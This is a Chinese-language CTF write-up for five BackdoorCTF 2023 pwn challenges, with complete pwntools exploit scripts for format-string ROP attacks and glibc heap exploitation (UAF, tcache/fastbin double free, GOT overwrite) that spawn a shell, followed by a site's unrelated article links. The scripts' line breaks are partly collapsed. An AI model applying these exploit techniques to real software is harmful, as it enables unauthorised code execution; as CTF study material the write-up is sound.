[BackdoorCTF 2023] pwn

一个国外小比赛,还好能下载附件。

Baby Formatter

一连3道格式化字符串,但都不难

有两个菜单,一个是泄露栈地址和libc,另一个是格式化字符串但过滤掉了pudx,好在还有大量可用的符号。比如li 以长整型的方式输出。

程序没有直接执行到ret的功能,但在14d3可以跳到,在写完rop后,写vuln返回地址尾字节跳过来。

from pwn import *libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./challenge')
context(arch='amd64', log_level='debug')p = process('./challenge')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
v = p.recvline().split(b' ')
stack = int(v[0], 16) + 0x38
libc.address = int(v[1], 16) - libc.sym['fgets']fmt(b'%13$li')
elf.address = int(p.recvline()) - 0x14d1print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)#gdb.attach(p, "b*0x5555555554d3\nc")
#2, vuln_ret -> 14d1->14d3
pay = f"%{0xd3}c%8$hhn".ljust(16).encode()+p64(stack -0x20)
fmt(pay)p.interactive()

Master Formatter

与上题基本一致,但是只泄露libc地址,不过虽然v5有检查但并没有写v5的值,所以还能不限次写。

from pwn import *libc = ELF('./libc.so.6')
elf = ELF('./chall')
context(arch='amd64', log_level='debug')p = process('./chall')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']fmt(b'%13$li %12$li')
elf.address = int(p.recvuntil(b' ')) - 0x1561
stack = int(p.recvline()) + 8print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)gdb.attach(p, "b*0x555555555406\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xae}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)p.interactive()

 Master Formatter v2

又进行了升级,这次检查过滤升级了,几乎禁用了所有的符号,除了o以外,所以可以用8进制泄露地址。另外v5的限制也生效了,只能写两次。

char *__fastcall filter(const char *a1)
{char *result; // raxif ( strchr(a1, 'p')|| strchr(a1, 'u')|| strchr(a1, 'd')|| strchr(a1, 'x')|| strchr(a1, 'f')|| strchr(a1, 'i')|| strchr(a1, 'e')|| strchr(a1, 'g')|| strchr(a1, 'a')|| strchr(a1, 'U')|| strchr(a1, 'U')|| strchr(a1, 'D')|| strchr(a1, 'X')|| strchr(a1, 'F')|| strchr(a1, 'I')|| strchr(a1, 'E')|| strchr(a1, 'G')|| (result = strchr(a1, 'A')) != 0LL ){puts("Cant leak anything");exit(1);}return result;
}
  v5 = 0;while ( 1 ){menu(*(_QWORD *)&argc, argv, envp);argv = (const char **)&v4;*(_QWORD *)&argc = "%d%*c";__isoc99_scanf("%d%*c", &v4);if ( v4 == 4 )return 0;if ( v4 > 4 )goto LABEL_14;switch ( v4 ){case 3:duplicate();break;case 1:hint();break;case 2:if ( v5 > 1 ){*(_QWORD *)&argc = "Ran out";puts("Ran out");}else{vuln();++v5;}break;default:
LABEL_14:*(_QWORD *)&argc = "Invalid input";puts("Invalid input");break;}}

先通过lo泄露地址,然后将v5改为负值进行无限次写,然后用前边的方法写rop然后跳过来。

from pwn import *libc = ELF('./libc.so.6') #2.38
elf = ELF('./chall')
context(arch='amd64', log_level='debug')p = process('./chall')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
pop_rdx = libc.address + 0x0000000000093359 # pop rdx ; pop rbx ; ret
pop_rsi = libc.address + 0x000000000002a671 # pop rsi ; ret
pop_rax = libc.address + 0x0000000000046663 # pop rax ; retfmt(b'%13$lo %12$lo')
elf.address = int(p.recvuntil(b' '),8) - 0x16c5
stack = int(p.recvline(),8) + 8print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#v5+3 = 0x88
fmt(b"%186c%8$hhn".ljust(0x10)+p64(stack - 0x10 -1))
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)gdb.attach(p, "b*0x5555555555b9\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xe8}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)p.interactive()

Konsolidator

这是个堆题,libc用的是2.31,pie没开,free有UAF

  v3 = time(0LL);srand(v3);for ( i = 0LL; i < rand() % 10; ++i ){v4 = rand();malloc(v4 % 512);}while ( 1 ){menu();__isoc99_scanf("%d%*c", &v6);switch ( v6 ){case 1:add((__int64)ptr, (__int64)size);break;case 2:if ( v7 ){puts("You can do it only once");}else{v7 = 1;change_size(ptr, size);               // 修改chunk大小,同时修改数组和头}break;case 3:delete(ptr, size);                      // UAFbreak;case 4:edit(ptr, size);break;case 5:puts("Bye");exit(code);default:puts("Invalid choice");break;}}

一般说对于有UAF并且PIE没开,got无保护的题,只需要把块建到got表就可以任意搞了

不过这里由于没有show,需要改个东西但是在got.free前边在plt的一个指针。它不像got表可以随意写,写完后会重新装填,所以不能写最方便的got.free,退而求其次写malloc,malloc改为puts后一参的size可以作为指针传进去,不过只能传整型,所以这里只能写程序加载地址。最后利用exit(code)后门,修改got.exit为system在code写一个指向bin/sh的指针(也是程序内的)

from pwn import *context(arch='amd64',log_level = "debug")elf = ELF("./chall")
libc = ELF("./libc-2.31.so")# p = remote("120.24.69.11", 12700)
p = process("./chall")def add(idx, size):p.sendlineafter(b">> ", b"1")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Size\n>> ", str(size).encode())def edit_size(idx, size):p.sendlineafter(b">> ", b"2")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Size\n>> ", str(size).encode())#UAF
def free(idx):p.sendlineafter(b">> ", b"3")p.sendlineafter(b"Index\n>> ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b"4")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Data\n>> ", msg)pop_rdi = 0x4018c3 
ret = pop_rdi+1#got.free->puts
add(0, 0x430)
add(1, 0x100)
add(2, 0x100)
free(0)
free(1)
free(2)
edit(2, p64(0x403560))
add(2, 0x100)
add(3, 0x100)#gdb.attach(p, "b*0x401846\nc")
'''
0x403500:       0x00007ffff7df8f90      0x0000000000000000
0x403510:       0x0000000000403330      0x00007ffff7ffe190
0x403520:       0x00007ffff7fe7af0      0x0000000000401030(free)
0x403530 <puts@got.plt>:        0x00007ffff7e59420      0x0000000000401050
0x403540 <printf@got.plt>:      0x00007ffff7e36c90      0x00007ffff7e1c5c0
0x403550 <fgets@got.plt>:       0x0000000000401080      0x00007ffff7fcd930
0x403560 <malloc@got.plt>:      0x00007ffff7e6f0e0      0x00007ffff7e59ce0
0x403570 <__isoc99_scanf@got.plt>:      0x00007ffff7e380b0      0x00000000004010d0
0x403580 <rand@got.plt>:        0x00007ffff7e1cd10      0x0000000000000000
'''
#由于在free前边有plt的中转指令,所以通过修改malloc实现泄露
#malloc后边的setvuf, scanf后边的exit暂时用不到
edit(3, flat(0x401060)) #malloc -> printf
add(4, 0x403530) #printf(got.puts)libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")edit(3, flat([libc.sym['malloc'], 0, libc.sym['scanf'], libc.sym['system'], 0,0,0,0,libc.sym['_IO_2_1_stdout_'],0,libc.sym['_IO_2_1_stdin_'],0,libc.sym['_IO_2_1_stderr_'],0,0x4035d8, b'/bin/sh\x00'         #code->/bin/sh])) #exit -> system code = /bin/shp.sendlineafter(b">> ", b"5")p.interactive()

Pizzeria

这个libc是2.35不过有uaf只是这个uaf不让直接写只能show。由于2.35在释放tcache时有秤星检查,所以造double free需要在fastbin里进行。

先建大点的块释放超过7个会得到unsort

再建小块释放7个后再来释放aba得到环,将块建到environ得到栈地址

同上的方法,将块建到栈,但由于2.35需要块尾对齐无法控制到ret,所以将指针建到指针区前,再通过控制指针写ret

from pwn import *libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')p = process('./chal')item = ["Tomato","Onion","Capsicum","Corn","Mushroom","Pineapple","Olives","Double Cheese","Paneer","Chicken"]
def add(idx, size): #size*8p.sendlineafter(b"Enter your choice : ", b'1')p.sendlineafter(b"Which topping ?\n", item[idx].encode())p.sendlineafter(b"How much ?\n", str(size).encode())def edit(idx, msg):p.sendlineafter(b"Enter your choice : ", b'2')p.sendlineafter(b"Which one to customize ?\n", item[idx].encode())p.sendafter(b"Enter new modified topping : ", msg)def free(idx):p.sendlineafter(b"Enter your choice : ", b'3')p.sendlineafter(b"Which topping to remove ?\n", item[idx].encode())def show(idx):p.sendlineafter(b"Enter your choice : ", b'4')p.sendlineafter(b"Which topping to verify ?\n", item[idx].encode())def getptr(v):v1 = (v>>36)&0xfffv2 = ((v>>24)^v1)&0xfffv3 = ((v>>12)^v2)&0xfffv4 = ((v)^v3)&0xfffreturn (v1<<36)|(v2<<24)|(v3<<12)|v4#填充满tcache后得到unsort,泄露libc
for i in range(10):add(i,31)
for i in range(8):free(i)show(0)
heap = (u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12)
print(f"{heap =:x}")
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) + 0x67c0 - libc.sym['__malloc_hook']
print(f"{heap = :x} {libc.address = :x}")for i in range(8):add(i,31)#填充满tcache后在fastbin doublefree得到环将块建到environ 得到栈地址
for i in range(10):add(i,13)
for i in [0,1,2,3,4,5,6,7,8,7]:free(i)
for i in [6,5,4,3,2,1,0]:add(i, 13)add(0,13)
edit(0, b'A'*8)
show(0)
p.recvuntil(b'A'*8)
key = p.recv(8)
print('key=',key.hex())edit(0, p64(libc.sym['_environ']^(heap>>12))+key)
add(1, 13)
add(1, 13)
add(1, 13) #_environ
show(1) 
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x220  #edit_ret
print(f"{stack = :x}")#同上得到环,将块建到栈内控制指针区
for i in range(10):add(i,8)
for i in [0,1,2,3,4,5,6,7,8,7]:free(i)
for i in [6,5,4,3,2,1,0]:add(i, 8)add(0,8)edit(0, p64((stack+0x18)^((heap>>12)+1))+key)
add(1, 8)
add(1, 8)
add(1, 8) #size[]pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']#gdb.attach(p, "b*0x555555555aba\nc")
edit(1, p32(100)*12 + flat(stack)) #ptr[0]->edit_ret
edit(0, flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/222701.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为全屋wifi6蜂鸟套装标准

华为政企42 华为政企 目录 上一篇华为安防监控摄像头下一篇华为企业级无线路由器

<JavaEE> 网络编程 -- 网络编程和 Socket 套接字

目录 一、网络编程的概念 1&#xff09;什么是网络编程&#xff1f; 2&#xff09;网络编程中的基本概念 1> 收发端 2> 请求和响应 3> 客户端和服务端 二、Socket套接字 1&#xff09;什么是“套接字”&#xff1f; 2&#xff09;Socket套接字的概念 3&…

案例135:基于微信小程序的房屋租赁管理系统的设计与实现

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

RIPV1配置实验

查看路由器路由表&#xff1a; 删除手工配置的静态路由项&#xff1a; Route1->Config->static Remove删除路由项 删除Route3的路由项&#xff0c;方法同上删除Route2的路由项&#xff0c;方法同上 完成路由器RIP配置&#xff1a; Route1->Config->RIP->Ne…

软件渗透测试有哪些测试流程?权威安全测试报告的重要性

软件渗透测试也是安全测试的一种&#xff0c;是通过模拟恶意黑客的攻击方法&#xff0c;来评估计算机网络系统安全的一种评估方法。作为网络安全防范的一种新技术&#xff0c;对于网络安全组织具有实际应用价值。 一、软件渗透测试的过程   软件渗透测试的过程通常包括四个主…

使用bs4 分析html文件

首先需要 pip install beautifulsoup4安装 然后为了方便学习此插件&#xff0c;随便打开一个网页&#xff0c;然后鼠标右键&#xff0c;打开源网页&#xff0c;如下图片 这样就可以获得一个网页源码&#xff0c;全选复制粘贴到本地&#xff0c;存储为 .html 文件&#xff0c;…

案例101:基于微信小程序的停车共享小程序

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

【网络安全】学习Web安全必须知道的一本书

【文末送书】今天推荐一本网络安全领域优质书籍。 目录 正文实战案例1&#xff1a;使用Docker搭建LAMP环境实战案例2&#xff1a;使用Docker搭建LAMP环境文末送书 正文 学习Web安全离不开Web&#xff0c;那么&#xff0c;需要先来学习网站的搭建。搭建网站是每一个Web安全学习…

项目中webpack优化配置(1)

项目中webpack优化配置 一. 开发效率&#xff0c; 体验 1. DLL&#xff08;开发过程中减少构建时间和增加应用程序的性能&#xff09; 使用 DllPlugin 进行分包&#xff0c;使用 DllReferencePlugin(索引链接) 对 manifest.json 引用&#xff0c;让一些基本不会改动的代码先…

【Java JMM】编译和优化

1 前端编译 在 Java 技术下, “编译期” 是一个比较含糊的表述, 因为它可能指的是 前端编译器 (“编译器的前端” 更准确一些) 把 *.java 文件转变成 *.class 文件的过程Java 虚拟机的即时编译器 (常称 JIT 编译器, Just In Time Compiler) 运行期把字节码转变成本地机器码的过…

Ubuntu 常用命令之 chown 命令用法介绍

&#x1f4d1;Linux/Ubuntu 常用命令归类整理 chown 命令在 Ubuntu 系统中用于改变文件或目录的所有者和组。这个命令的基本格式是 chown [选项]... [所有者][:[组]] 文件...。 chown 命令的主要参数有 -c 或 --changes&#xff1a;类似 verbose&#xff0c;但只在发生改变时…

【泛型中K T V E? Object等分别代表什么含 义】

✅ 泛型中K T V E? Object等分别代表什么含义 ✅ 典型解析✅代码示例 ✅ 典型解析 E - Element (在集合中使用&#xff0c;因为集合中存放的是元素) T-Type (Java 类) K- Key (键) V - Value (值) N - Number (数值类型) ? - 表示不确定的iava类型 (无限制通配符类型) …

树莓派-Pico控制舵机

目录 前言一、SG90舵机是什么&#xff1f;参数介绍工作原理 二、与舵机信号线的接线图三、给树莓派Pico注入灵魂&#xff08;代码&#xff09;总结 前言 这价格便宜的树莓派Pico总觉得应该拿来做点什么&#xff0c;它总不能只用来点亮几个灯就没别的用途了吧&#xff0c;所以就…

自制数据库空洞率清理工具-C版-01-EasyClean-V1.0(支持南大通用数据库Gbase8a)

目录 一、环境信息 二、简述 三、支持功能 四、空洞率 五、工具流程图 六、安装包下载地址 七、参数介绍 1、命令模板 2、命令样例 3、参数表格 八、安装步骤 1、配置环境变量 2、生效环境变量 3、检验动态链接是否正常 九、运行效果 一、环境信息 名称值CPUInt…

力扣题目学习笔记(OC + Swift)19. 删除链表的倒数第 N 个结点

19. 删除链表的倒数第 N 个结点 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 此题目为链表题&#xff0c;拿出我们的杀手锏&#xff0c;链表解题经典三把斧&#xff1a; 哑巴节点栈快慢指针 关于内存问题&#xff1a;由于Swift及…

R语言【cli】——通过cli_abort用 cli 格式的内容显示错误、警告或信息,内部调用cli_bullets和inline-makeup

cli_abort(message,...,call .envir,.envir parent.frame(),.frame .envir ) 先从那些不需要下大力气理解的参数入手&#xff1a; 参数【.envir】&#xff1a;进行万能表达式编译的环境。 参数【.frame】&#xff1a;抛出上下文。默认用于参数【.trace_bottom】&#xff…

【华为鸿蒙系统学习】- HarmonyOS4.0之App项目开发|自学篇

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 创建鸿蒙第一个App项目 项目创建 工程目录区 预览区 运行Hello World 基本工程目录 ws:工…

【Amazon 实验①】Amazon WAF功能增强之实验环境准备

文章目录 1. 实验介绍2. 实验环境准备 1. 实验介绍 在真实的网络空间中&#xff0c;攻击者会使用大量广泛分布的僵尸网络、肉机等发起对目标的攻击。 其来源分布一般比较分散&#xff0c;因此难以简单防范。 本实验联合使用有多种AWS服务&#xff1a;Cloudfront、 Lambdaedge…

『番外篇五』SwiftUI 进阶之如何动态获取任意视图的 tag 和 id 值

概览 在某些场景下,我们需要用代码动态去探查 SwiftUI 视图的信息。比如任意视图的 id 或 tag 值: 如上图所示:我们通过动态探查技术在运行时将 SwiftUI 特定视图的 tag 和 id 值显示在了屏幕上。 这是如何做到的呢? 在本篇博文,您将学到如下内容: 概览1. “如意如意,…

Linux基本内容学习

Linux 命令 文件命令 命令释义语法格式lslist&#xff0c;用于显示目录中文件及其属性信息ls [参数名] [文件名]cdchange directory&#xff0c;用于更改当前所处的工作目录&#xff0c;路径可以是绝对路径&#xff0c;也可以是相对路径&#xff0c;若省略不写则会跳转至当前…